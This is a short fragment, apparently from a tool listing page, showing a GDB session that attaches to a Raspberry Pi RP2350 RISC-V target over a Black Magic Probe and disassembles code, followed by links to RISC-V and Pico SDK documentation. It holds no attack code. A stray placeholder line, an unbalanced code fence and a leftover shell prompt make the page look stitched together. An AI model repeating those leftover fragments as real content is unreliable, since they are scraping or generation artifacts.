/home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb

[No content provided in the INPUT section.]``` (gdb) target extended-remote /dev/ttyBmpGdb Remote debugging using /dev/ttyBmpGdb (gdb) monitor auto_scan Target voltage: 3.3V JTAG scan found no devices, trying SWD! Available Targets: No. Att Driver 1 RP2350 rv32imac 2 RP2350 rv32imac (gdb) attach 1 Attaching to Remote target warning: No executable has been specified and target does not support determining executable automatically. Try using the "file" command. 0x100000aa in ?? () (gdb) x/10i $pc => 0x100000aa: addi a1,a1,4 0x100000ac: addi a2,a2,4 0x100000ae: bltu a2,a3,0x100000a6 0x100000b2: ret 0x100000b4: addi a3,sp,128 0x100000b6: addi s0,sp,32 0x100000b8: unimp 0x100000ba: fld fs0,0(s0) 0x100000bc: sw a3,96(a5) 0x100000be: jal 0x100000be (gdb) c Continuing.

root@kitploit:~
# Más documentación

- https://docs.riscv.org/reference/isa/
- https://github.com/riscv-software-src/riscv-isa-sim
- https://www.cs.sfu.ca/~ashriram/Courses/CS295/assets/notebooks/RISCV/RISCV_CARD.pdf
- https://github.com/Wren6991/Hazard3
- https://datasheets.raspberrypi.com/rp2350/rp2350-datasheet.pdf
- https://datasheets.raspberrypi.com/pico/getting-started-with-pico.pdf
- https://datasheets.raspberrypi.com/pico/raspberry-pi-pico-c-sdk.pdf
- https://www.raspberrypi.com/documentation/pico-sdk/index_doxygen.html
- https://github.com/raspberrypi/pico-examples
Descargar herramienta